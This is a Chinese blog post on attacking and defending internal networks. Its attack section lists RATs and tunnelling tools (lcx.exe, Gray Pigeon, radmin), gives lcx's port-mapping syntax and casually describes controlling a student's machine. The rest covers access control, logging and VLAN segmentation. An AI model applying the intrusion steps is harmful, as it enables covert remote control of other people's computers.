简略内网攻防

信息来源:猫猫’s Blog

随着现在的网络发展趋势,公司内网,学校内网,甚至银行内网,应用的越来越广,并且一步步地发挥着越来越大的作用。于是很多人瞄准了这块很爽的奶酪,于是有了种种关于内网的传说。
内网的安全也被提上了日程,很多对内网的入侵,渗透也被很多同行描绘的淋漓尽致。很多的精品,在此,我就是简单的介绍一下关于内网的各种东东。
一、攻击内网
首先介绍几种攻击内网时用到的利器,lcx.exe,CMD内网杀手(和前者有类似),黑洞,pcshare,radmin,灰鸽子,等等。相信大家对这些东西都比较熟悉,在此就不再介绍。一般来说,处于局域网的机器很少能被黑客攻击,因为没有固定的IP,甚至对于一些内网用户根本不可能连接到外网。黑客是怎么进行入侵的呢?找台肉鸡的活,我就不干了。查找合适的(内网)机子,上传lcx.exe,(呵呵,这个攻击方法比较落后了)。运行:
TCP 0.0.0.0:8855 0.0.0.0:0 LISTENING
运行成功!这时你可以配置自己的radmin或者灰鸽子了。Lcx的运行方式:lcx.exe -slave公网IP 端口 内网IP 映射端口,轻车熟路,设置好各端口,ok,let’s go!!(耳边传来cs的声音……)运行自己的R端,看到了吧,你的小肉鸡已经在线上了。好家伙,居然在玩宠物。羡慕ing……看看还有什么可以利用的,发现江民,但是破解版的,失望啊。
这种方法在现实中广为流传,但是较为简单,偶比较笨拙,也只能用这种方法了,汗。这只是小试牛刀(这台机子好象是学生的)。但是如果入侵的是一公司的主机,哈哈,你可发了。对于端口的映射,基本原理还是相似的,先利用任一种端口工具映射一个或多个端口再进行入侵,我在此就不再多提了。还有最经典的就是“内鬼”了。
因为入侵的过程和手段都是次要的,我们面对的是信息安全的威胁。当然我相信很多人都只是想证明一下自己,但是不乏破坏者。告诫大家一句:慎重。

二、内网的反击。
内网安全是一项长期的任务,安全体系的结构,内网管理人员的素质能力培养,安全体系的具体建设,这些都能给内网带来致命的打击,安全体系就是一支双刃剑,他当然还能带来让人放心的保护。
首先,设置人员安全级别。针对内网中重要的服务器部分,为保证访问人员身份的合法性,采用身份认证系统对访问人员身份的合法性加以确认,对访问服务器的人员做详细的访问控制。给不同的用户设顶确切的权限,禁止权限低的用户访问重要内容,篡改系统设置。
  其次,加强对系统log的管理。利用系统的记录功能,对网络中所出现的操作和数据等做详细的记录,为事后攻击事件的分析提供了有力的原始依据。直至抓到罪魁祸首,找出漏洞所在,并进行及时弥补,改善。
再者,对区域的限制也是一个很重要的方面。对于一个大型的局域网络内部,往往会根据实际需要划分出多个安全等级不同的区域,合理的进行安全域的划分,利用网络设备所提供的划分VLAN技术等对网络进行初步的安全防护。安全登记的不同,相应的操作的具体过程也应受到限制。
当然,内部的管理人员的素质,也是很重要的,技术在管理方面只能占到4分,而人才是真正的主导力量。加强人员的培养和培训,相信公司网络的安全会更好。
后记:这篇文章只是在看到一家大的公司内网被破坏后的一点感悟,甚感网络安全的重要性和急迫性。对于一些想炫耀搞破坏的人,还是收敛一些好。